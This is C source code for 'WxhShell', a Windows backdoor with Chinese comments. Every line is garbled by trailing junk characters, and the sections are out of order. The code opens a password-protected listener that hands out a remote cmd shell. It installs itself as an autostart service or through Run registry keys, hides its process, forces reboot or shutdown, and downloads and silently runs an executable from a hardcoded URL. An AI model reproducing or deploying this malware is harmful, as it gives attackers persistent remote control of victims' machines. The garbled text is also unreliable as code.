    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C-xr"]#]  
    else { @b\$yB@z  
    closesocket(wsh); 1> ?M>vK  
    ExitThread(0); n>z9K')  
    } IZf{nQ[0  
    break; >[f?vrz  
    } :x3QRF  
  // 获取shell t}_r]E,{u  
  case 's': { cx,+k]9D  
    CmdShell(wsh); 39c2pV[  
    closesocket(wsh); *YI98  
    ExitThread(0); yHYsZ,GE  
    break; #Bze,?@  
  } UhF-K#Z9  
  // 退出 \Dm";Ay>  
  case 'x': { @ 6\I~s(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RIR\']WN  
    CloseIt(wsh); _1X!EH"  
    break; BX/8O<s0  
    } 7jrt7[{  
  // 离开 t mn tp  
  case 'q': { wKh4|Ka  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N>uRf0E>  
    closesocket(wsh); O *C;Vqt  
    WSACleanup(); goNG' o %|  
    exit(1); %jJG>T  
    break; y G~?MEh{  
        } _{ue8kGt  
  } ,O5NLg-  
  } E*& vy  
Ha#= (9.  
  // 提示信息 d2FswF$C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -12UN(&&Z  
}  ,i NXK  
  } @ )F)S 7  
eSn+B;  
  return; 1y &\5kB  
} @3i\%R)n;  
bG"~"ipn%  
// shell模块句柄 +.8 \p5  
int CmdShell(SOCKET sock) rw[ph[\X  
{ AF{\6<m  
STARTUPINFO si; yZ7&b&2nLn  
ZeroMemory(&si,sizeof(si)); (y'hyJo  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y;eZ9|Ht9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [|wZ77\  
PROCESS_INFORMATION ProcessInfo; Z{.8^u1I  
char cmdline[]="cmd"; NSMyliM1Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BU)U/A8iS  
  return 0; wVXS%4|v  
} &<g|gsG`  
f^ZRT@`O  
// 自身启动模式 Rr$-tYy6  
int StartFromService(void) O^PKn_OJ  
{ ?5__oT  
typedef struct 3d8L6GJ  
{ [Y/} ^  
  DWORD ExitStatus; OF>mF~  
  DWORD PebBaseAddress; 2>9C-VL2  
  DWORD AffinityMask; hF?1y`20  
  DWORD BasePriority; 1#g2A0U,  
  ULONG UniqueProcessId; J( TkXNm  
  ULONG InheritedFromUniqueProcessId; *-WpZGh  
}   PROCESS_BASIC_INFORMATION; qx(xvU9  
~G p [_ %K  
PROCNTQSIP NtQueryInformationProcess; .<?GS{6 N  
yF:1( 4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0 JS?;fk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t,Lrfv])  
udH7}K v  
  HANDLE             hProcess; ]]![EHi(\  
  PROCESS_BASIC_INFORMATION pbi; TprTWod2]t  
M.D1XX 1/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1nM  #kJ"  
  if(NULL == hInst ) return 0; ldcqe$7,  
68|E9^`l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iU918!!N   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LP^$AAy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z kP_6T09  
f5"k55}  
  if (!NtQueryInformationProcess) return 0; YMyfL8bO  
%`r$g[<G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5pG}Yk_(x  
  if(!hProcess) return 0; tFn)aa~L  
+480 l}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,pfG  
%Xg4b6<9  
  CloseHandle(hProcess); ja'T+!k  
CkC^'V)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Po;W'7"Po`  
if(hProcess==NULL) return 0; "Y.tht H  
!TH) +zi  
HMODULE hMod; 3NqB <J  
char procName[255]; \\ij(>CI  
unsigned long cbNeeded; :G=fl)!fE  
Ny7S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y7cl_rK  
/<k/7TF`  
  CloseHandle(hProcess); (/YHk`v2  
<nf@U>wlw  
if(strstr(procName,"services")) return 1; // 以服务启动 ]mq|w  
m~ABC#,2  
  return 0; // 注册表启动 *R,5h2;  
} 7+cO_3AB  
bj^5yX;2  
// 主模块 \K{ z  
int StartWxhshell(LPSTR lpCmdLine) ]c*4J\s  
{ qZh/IW  
  SOCKET wsl; GA )`-*.R  
BOOL val=TRUE; C =xa5Y  
  int port=0; P;no?  
  struct sockaddr_in door; ,Vax&n+J  
}#+^{P3;  
  if(wscfg.ws_autoins) Install(); Po0A#Zl  
I,DS@SK  
port=atoi(lpCmdLine); QL/(72K  
jd"@t*ZV  
if(port<=0) port=wscfg.ws_port; cZ*@$%_  
O\tb R=  
  WSADATA data; T Z@]:e:"b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7z,C}-q  
G _tCmu\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nW:C/{n2tG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !F-w3 ]  
  door.sin_family = AF_INET; kH1~k,|\&K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'oVx#w^mf  
  door.sin_port = htons(port); ">nxHU  
# w4-aJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Lb-OsKU  
closesocket(wsl);  > |=ts  
return 1; H41?/U,{  
} {TROoX~H?  
*>}@7}f  
  if(listen(wsl,2) == INVALID_SOCKET) { E&w7GZNt  
closesocket(wsl); nFCC St$  
return 1; BOX2O.Pm  
} G.B2('  
  Wxhshell(wsl); }>|s=uGW  
  WSACleanup();  /maJtX'  
2tO,dx  
return 0; Rp7mh]kZ  
MN>b7O \.?  
} 9=tIz  
d-ko ^Y0  
// 以NT服务方式启动 G*MUO#_iuh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7A7?GDW  
{ 8Fh)eha9f  
DWORD   status = 0; >'$Mp<  
  DWORD   specificError = 0xfffffff; Y@iS_lR  
N~gzDQ3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tOD6&<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3}1u\(Mf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pki%vRY  
  serviceStatus.dwWin32ExitCode     = 0; r5/0u(\LB  
  serviceStatus.dwServiceSpecificExitCode = 0; FV!q!D  
  serviceStatus.dwCheckPoint       = 0; T::85  
  serviceStatus.dwWaitHint       = 0; 8,%^ M9zBP  
gJ{)-\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Fo_sgv8O<  
  if (hServiceStatusHandle==0) return; ~?}Emn;t  
~~P5k:  
status = GetLastError(); kTB 0b*V  
  if (status!=NO_ERROR) C) s5D  
{ 0+ '&`Q!u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }<r)~{UV  
    serviceStatus.dwCheckPoint       = 0; .<FH>NW)  
    serviceStatus.dwWaitHint       = 0; Or+U@vAnk  
    serviceStatus.dwWin32ExitCode     = status; JbbzV>  
    serviceStatus.dwServiceSpecificExitCode = specificError; #{6/ (X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qv-_ jZ  
    return; V!=,0zy~Z  
  } gf@:R'$:+  
'<<t]kK[N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "S]TP$O D  
  serviceStatus.dwCheckPoint       = 0; 6 gE7e|+  
  serviceStatus.dwWaitHint       = 0; ?l )[7LR4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tk`v:t!6U  
} X_h}J=33Q  
t:Q*gW Rh  
// 处理NT服务事件,比如:启动、停止 ki!0^t:9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y%T_pTcU  
{ ]ieeP4*  
switch(fdwControl) "+s++@ z  
{ oc`H}Wvn  
case SERVICE_CONTROL_STOP: IJ"q~r$  
  serviceStatus.dwWin32ExitCode = 0; )t#W{Gzfmh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T5h H  
  serviceStatus.dwCheckPoint   = 0; Y3b *a".X  
  serviceStatus.dwWaitHint     = 0; 5;EvNu  
  { QWYJ *  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .q>iXE_c  
  } &8lZNv8;(p  
  return; y)@wjH{6  
case SERVICE_CONTROL_PAUSE: L8B! u9%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (<9u-HF#  
  break; fHFE){  
case SERVICE_CONTROL_CONTINUE: y6a3t G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0H:X3y+  
  break; WsB?C&>x  
case SERVICE_CONTROL_INTERROGATE: U xGApK=X  
  break; 4WB0Pt{  
}; ktIFI`@ w)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UK!(G  
} n[rCQdM&U"  
$UwCMPs X  
// 标准应用程序主函数 ]f_p 8?j"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2^7`mES  
{ AK4t\D)K1  
guR/\z$D@C  
// 获取操作系统版本 TLH1>pY&  
OsIsNt=GetOsVer(); eR>oq,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Bzf^ivT3L  
> (<f 0  
  // 从命令行安装 $& c*'3  
  if(strpbrk(lpCmdLine,"iI")) Install(); _[BP 0\dPW  
hZb_P\1X  
  // 下载执行文件 /n&&Um\  
if(wscfg.ws_downexe) { :2`e(+Uz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,P0) 6>  
  WinExec(wscfg.ws_filenam,SW_HIDE); XiWmV  ?  
} K&-"d/QuLg  
!N^@4*  
if(!OsIsNt) { m&3xJuKih  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~} ~4  
HideProc(); / ;$[E  
StartWxhshell(lpCmdLine); !ohN!P7&  
} Kg]J/|0\  
else tH4B:Bgj!  
  if(StartFromService()) #'`{Qv0,  
  // 以服务方式启动 KI.hy2?e  
  StartServiceCtrlDispatcher(DispatchTable); vY3h3o  
else A#,ZUOPGH  
  // 普通方式启动 fz_r7?  
  StartWxhshell(lpCmdLine); %]i15;{X  
xE}>,O|'q  
return 0; 8ao_i=&x  
} UiNP3TJ'L  
* T1_;4i  
{!`6zBsP  
#vlgwA  
=========================================== %C]>9."  
Fr-SvsNFB  
7tp36TE  
p#tI;"\y  
4,ag(^}=  
zt%Mx>V@  
" WIGi51yC.x  
r JB}qYD  
#include <stdio.h> ALHIGJW:6$  
#include <string.h> 8P`"M#fI  
#include <windows.h> eMzk3eOJ  
#include <winsock2.h> ar,7S&s H  
#include <winsvc.h> \U_@S.  
#include <urlmon.h> 5h*p\cl!Y  
{;oPLr+Z  
#pragma comment (lib, "Ws2_32.lib") J}t%p(mb  
#pragma comment (lib, "urlmon.lib") -?a 26o%e  
]M3yLYK/P  
#define MAX_USER   100 // 最大客户端连接数 /wG2vE8e  
#define BUF_SOCK   200 // sock buffer =(^3}x  
#define KEY_BUFF   255 // 输入 buffer +7}]E1Uf  
j<$2hiI/?&  
#define REBOOT     0   // 重启 G~m<;  
#define SHUTDOWN   1   // 关机 2<3K3uz  
/L 3:  
#define DEF_PORT   5000 // 监听端口 B5QFK  
5V-I1B&  
#define REG_LEN     16   // 注册表键长度 wIgS3K  
#define SVC_LEN     80   // NT服务名长度 Bw.i}3UT6  
Ys7]B9/1O  
// 从dll定义API 'GScszz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;{6~Bq9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); < %Y}R\s?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,x$,l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H?w6C):]  
Y/oHu@ _  
// wxhshell配置信息 +C)~bb*  
struct WSCFG { /wv0i3_e  
  int ws_port;         // 监听端口 <3 uNl  
  char ws_passstr[REG_LEN]; // 口令 '%;m?t% q  
  int ws_autoins;       // 安装标记, 1=yes 0=no nt<]d\o0  
  char ws_regname[REG_LEN]; // 注册表键名 d-%hjy3N  
  char ws_svcname[REG_LEN]; // 服务名 S jj6q`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @)}L~lb[)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y-9I3?ar  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #9s,# }  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (k P9hcV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xD7]C|8o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /{2,zW  
kxCSs7J/  
}; a9Vi];  
Y0> @vTUX  
// default Wxhshell configuration n"8Yv~v*2j  
struct WSCFG wscfg={DEF_PORT, EX"yxZ~  
    "xuhuanlingzhe", ^rz_f{c]-  
    1, C# pjmT_  
    "Wxhshell", /_.|E]  
    "Wxhshell", ->jDb/a{C  
            "WxhShell Service", )5H?Vh>36  
    "Wrsky Windows CmdShell Service", Fzcwy V   
    "Please Input Your Password: ", *^r}"in  
  1, o;*Q}Gr<M  
  "http://www.wrsky.com/wxhshell.exe", fV~~J2IK  
  "Wxhshell.exe" _v:SP LU  
    }; `@%LzeGz  
` %}RNC  
// 消息定义模块 3U}%2ARo_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^f@=:eWI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [><Tm \(:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =|9!vzG4  
char *msg_ws_ext="\n\rExit."; 3$/IC@+  
char *msg_ws_end="\n\rQuit."; ';"VDLb3  
char *msg_ws_boot="\n\rReboot..."; MOC/KNb  
char *msg_ws_poff="\n\rShutdown..."; YZ7.1`8  
char *msg_ws_down="\n\rSave to "; z!\*Y =e  
r|Z{-*`  
char *msg_ws_err="\n\rErr!"; 3XKf!P  
char *msg_ws_ok="\n\rOK!"; k{0o9,  
ipz5H*  
char ExeFile[MAX_PATH]; !~Z"9(v'C  
int nUser = 0; ,//S`j$S  
HANDLE handles[MAX_USER]; 8EY:t zw  
int OsIsNt; (% 9$!v{3  
0{mex4  
SERVICE_STATUS       serviceStatus; k=^xVQuI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?cZlN !  
&Qm@9Is  
// 函数声明 V6Dbd" i9  
int Install(void); tp|d*7^i  
int Uninstall(void); $ Q0n  
int DownloadFile(char *sURL, SOCKET wsh); 31)&vf[[  
int Boot(int flag); P2Y^d#jO  
void HideProc(void); d5d@k  
int GetOsVer(void); `h;[TtIX4  
int Wxhshell(SOCKET wsl); >sbu<|]a 7  
void TalkWithClient(void *cs); S>{~nOYt-`  
int CmdShell(SOCKET sock); =c7;r]Ol  
int StartFromService(void); V8(-  
int StartWxhshell(LPSTR lpCmdLine); pot~<d`:K"  
ce(#2o&`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ca\6vR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N21smC}  
;}t(Wnu.  
// 数据结构和表定义 K^[?O{x^B  
SERVICE_TABLE_ENTRY DispatchTable[] = Ho%CDz z  
{ Gh$^{  
{wscfg.ws_svcname, NTServiceMain}, @ P|y{e6  
{NULL, NULL} D{!IW!w  
}; xC?h2hIt  
<Gsu Z  
// 自我安装 e(yh[7p=  
int Install(void) n`KY9[0U=  
{ @pxcpXCy  
  char svExeFile[MAX_PATH];  _4f;<FL  
  HKEY key; aDCwI:Li(  
  strcpy(svExeFile,ExeFile); 9FX-1,Jx  
H.0K?N&\?>  
// 如果是win9x系统,修改注册表设为自启动 4\i[m:e=@  
if(!OsIsNt) { f 1d?.)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /O9EQPm(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KmF]\:sMD  
  RegCloseKey(key); E.f%H(b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ep}s}Stlr}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uw7zWJ n  
  RegCloseKey(key); tVjsRnb{  
  return 0; M(fTKs  
    } liSmjsk  
  } w>YDNOk  
} <uJ@:oWG7  
else { qWw=8Bq  
o(HbGHIP  
// 如果是NT以上系统,安装为系统服务 j<x_&1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W%J\qA  
if (schSCManager!=0) +v\oOBB)  
{ NO3/rJ6-  
  SC_HANDLE schService = CreateService j#6.Gq  
  ( n*$ g]G$  
  schSCManager, Je{ykL?N  
  wscfg.ws_svcname, v2?ZQeHr_(  
  wscfg.ws_svcdisp, 5)E @F9N  
  SERVICE_ALL_ACCESS, S[N5 ikg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T;uX4,|(  
  SERVICE_AUTO_START, 6nQq  
  SERVICE_ERROR_NORMAL, +qoRP2  
  svExeFile, n|;Im&,  
  NULL, 6wxs1G  
  NULL, *8Z32c+C  
  NULL, D]}G.v1  
  NULL, Yz bXuJ4  
  NULL "]dI1 g_  
  ); AR=]=8  
  if (schService!=0) kP"9&R`E  
  { ceV}WN19l  
  CloseServiceHandle(schService); 4Up/p&1@  
  CloseServiceHandle(schSCManager); }'.m*#Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Vc2`b3"Br  
  strcat(svExeFile,wscfg.ws_svcname); Jb(H %NJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nwWJ7M,A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3u;oQ5<(v  
  RegCloseKey(key); =}*0-\QG  
  return 0; <q SC#[xu  
    } OY d !v`<  
  }  `]X>V,  
  CloseServiceHandle(schSCManager); +0~YP*I`/  
} d5.4l&\u  
} pFXEu= $3  
Y 7aqO5  
return 1; /NlGFO*Z  
} yw!{MO  
2?5>o!C  
// 自我卸载 q@qsp&0/  
int Uninstall(void) /ouPg=+Nl  
{ e!Hhs/&!T  
  HKEY key; _^;Z~/.  
R8 T x[CJ5  
if(!OsIsNt) { z}@7'_iJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G#CXs:1pd+  
  RegDeleteValue(key,wscfg.ws_regname); liZxBs :%i  
  RegCloseKey(key); q@&6#B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J1vR5wbu  
  RegDeleteValue(key,wscfg.ws_regname); p[-O( 3Y  
  RegCloseKey(key); Jv i#)  
  return 0; rZF*q2?  
  } :t[_:3@  
} KP"+e:a%  
} Rv=YFo[B  
else { ;,TFr}p`  
\8 ":]EU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Tk>#G{Wb-  
if (schSCManager!=0) @oNXZRg6  
{ 0erNc'e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U(Zq= M  
  if (schService!=0) 9z0p5)]n>  
  { phK/   
  if(DeleteService(schService)!=0) { d1*<Ll9K  
  CloseServiceHandle(schService); C}X\|J  
  CloseServiceHandle(schSCManager); qLCR] _*  
  return 0; dI2 V>vk  
  } OVJ0}5P*  
  CloseServiceHandle(schService); ~dSr5LUD  
  } Z G:{[sT  
  CloseServiceHandle(schSCManager); s.#`&Sd>  
} z{6Z 11|  
} %C0Dw\A*:  
ibw;}^m(  
return 1; D@KlOU{<  
} B1gR5p0  
ZC ?Xqp  
// 从指定url下载文件 n|hNM?v  
int DownloadFile(char *sURL, SOCKET wsh) G B^Br6  
{ 9$Y=orpWxr  
  HRESULT hr; fOHxtHM  
char seps[]= "/"; 5N]"~w*  
char *token; 9^x> 3Bo  
char *file; UBs4K*h|  
char myURL[MAX_PATH]; QnDg 6m)+  
char myFILE[MAX_PATH]; 5^cCY'I  
5xBbrU;  
strcpy(myURL,sURL); =%7-ZH9  
  token=strtok(myURL,seps); Q/?$x*\>  
  while(token!=NULL) [KQi.u  
  { {_}I!`opr$  
    file=token; 8(De^H lO  
  token=strtok(NULL,seps); df=f62  
  } ~~.}ah/_d  
ta0|^KAA  
GetCurrentDirectory(MAX_PATH,myFILE); _GPe<H  
strcat(myFILE, "\\"); <%^&2UMg  
strcat(myFILE, file); FwK] $4*  
  send(wsh,myFILE,strlen(myFILE),0); [ )F<V!  
send(wsh,"...",3,0); N#] ypl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @CoIaUVP  
  if(hr==S_OK) lYIH/:T  
return 0; `XKLU  
else iCoX& "lb  
return 1; "tZe>>I  
K:M8h{Ua  
} =D(j)<9$A  
m~|40)   
// 系统电源模块 pYg/Zm Jd  
int Boot(int flag) h1RSVp+?n  
{ <v2;p}A  
  HANDLE hToken; )+^+s d  
  TOKEN_PRIVILEGES tkp; ~Ei<Z`3}7"  
+3gp%`c4  
  if(OsIsNt) { =wJX 0A|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @WhHUd4s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iscz}E,Y  
    tkp.PrivilegeCount = 1; `V1]k_h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sA~]$A;DM!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mq l Z?-  
if(flag==REBOOT) { Ef\ -VKh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hP h-+Hb  
  return 0; \['Cj*ek  
} nTas~~Q  
else { #_1`)VS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )BE1Q*= n  
  return 0; '"^'MXa  
} (:_$5&i7  
  } kM 6 Qp  
  else { NbobliC=  
if(flag==REBOOT) { e.>P8C<&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GyIV Hby  
  return 0; #c J@uqR  
} 7$b1<.WX  
else { H\ %7%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6863xOv{T  
  return 0; 1oS/`)  
} #WuBL_nZ~  
} u, ff>/1  
s7<AfaJPF  
return 1; #spCtZE  
} | Iib|HQ)  
^~dWU>  
// win9x进程隐藏模块 H|*m$| $,  
void HideProc(void) [ 3Gf2_  
{ 8}[).d160  
XX@ZQcN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T%Lx%Qn  
  if ( hKernel != NULL ) .>S!ji  
  { Ba,`TJ%y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); eRYK3W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \RiP  
    FreeLibrary(hKernel); j.Hf/vi`z  
  } +0&/g&a\R  
osRy e3  
return; 2T35{Q!=F  
} eavV?\uV%  
. vV|hSc  
// 获取操作系统版本 |=w@H]r  
int GetOsVer(void) f 2.HF@  
{  \zkg  
  OSVERSIONINFO winfo; @- xjfC\d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^ y::jK  
  GetVersionEx(&winfo); G2D$aSh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,hVli/  
  return 1; x4 yR8n(  
  else pb}*\/s  
  return 0;  &HW9Jn  
} O?2DQY?jT  
+nL[MSw  
// 客户端句柄模块 NJ<F>3  
int Wxhshell(SOCKET wsl) Q?vlfZR`8  
{ (e~Nq  
  SOCKET wsh; X, n:,'  
  struct sockaddr_in client; 6'/ #+,d'  
  DWORD myID; _U(  
Nc`L;CP  
  while(nUser<MAX_USER) Y|n"dMrL  
{ "[J^YKoF  
  int nSize=sizeof(client); DI>s-7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e= AKD#  
  if(wsh==INVALID_SOCKET) return 1; yAt ^;  
+whDU2 "  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q 1,~  
if(handles[nUser]==0) py4 h(04u  
  closesocket(wsh); Xhm c6?  
else DU S6SO  
  nUser++; SU0 hma8  
  } ! mHO$bQ"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CrLrw T  
3S{ />1Y  
  return 0; ";F'~}bDA  
} i@yC-))bY  
s_Sk0}e  
// 关闭 socket ;TYBx24vD'  
void CloseIt(SOCKET wsh) K-4PI+qQ\  
{ _b 0& !l<  
closesocket(wsh); n S=W1zf  
nUser--; HfVZ~PP  
ExitThread(0); +%'(!A?*`  
} Da|z"I x  
mt .sucT  
// 客户端请求句柄 @]j1:PN-  
void TalkWithClient(void *cs) A"]YM'.  
{ f#;>g  
.nJz G  
  SOCKET wsh=(SOCKET)cs; :X=hQ:>P  
  char pwd[SVC_LEN]; >7|VR:U?B  
  char cmd[KEY_BUFF]; vaLSH xi  
char chr[1]; *w&e\i|7  
int i,j; ;u JMG  
7! Nsm  
  while (nUser < MAX_USER) { It(_v  
#"!<W0  
if(wscfg.ws_passstr) { TH;hO).u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TOt dUO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]kSGR  
  //ZeroMemory(pwd,KEY_BUFF); L0,'mS  
      i=0; 2G7Wi!J  
  while(i<SVC_LEN) { COlqcq'qAu  
>Tgv11[  
  // 设置超时 ll^#JpT[S  
  fd_set FdRead; <I?Zk80  
  struct timeval TimeOut; -RwE%  cr  
  FD_ZERO(&FdRead); fC`&g~yK'  
  FD_SET(wsh,&FdRead); c{|p.hd  
  TimeOut.tv_sec=8; $FVNCFN%  
  TimeOut.tv_usec=0; ]^E?;1$f?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); la!~\wpa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :TbgFQ86~  
lxx2H1([  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RZLq]8pM  
  pwd=chr[0]; FrS]|=LJhX  
  if(chr[0]==0xd || chr[0]==0xa) { Ui~>SN>s  
  pwd=0; tmq OJ  
  break; ?s01@f#  
  } [,Gg^*umS  
  i++; `yyG/l  
    } 6x`t{g]f,  
QRUz`|U  
  // 如果是非法用户,关闭 socket .('SW\u-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >:-$+I  
} (`^1Y3&2  
04ui`-c(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }2jn[${ pr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @d'j zs  
e'~3oqSvR  
while(1) { Q ,g\  
dO'(2J8  
  ZeroMemory(cmd,KEY_BUFF); {: /}NpA$  
?uu*L6  
      // 自动支持客户端 telnet标准   aE8VZ8tvq  
  j=0; Dt@SqX:~Ee  
  while(j<KEY_BUFF) { Nn6%9PX_)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kiEa<-]  
  cmd[j]=chr[0]; {7[Ox<Ho  
  if(chr[0]==0xa || chr[0]==0xd) { Jy)/%p~  
  cmd[j]=0; O.? JmE  
  break; rI\FI0zIp_  
  } {}9a6.V;}  
  j++; 3";q[&F9y  
    } MgZ/(X E  
4#D,?eA7  
  // 下载文件 dtDFoETz  
  if(strstr(cmd,"http://")) { /ZX }Nc g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '1[Ft03  
  if(DownloadFile(cmd,wsh)) .-zom~N-?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yi[x}ffdE  
  else Rq-ZL{LR7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *. t^MP  
  } W?& %x(6M  
  else { tQVVhXQ7  
@7 }W=HB  
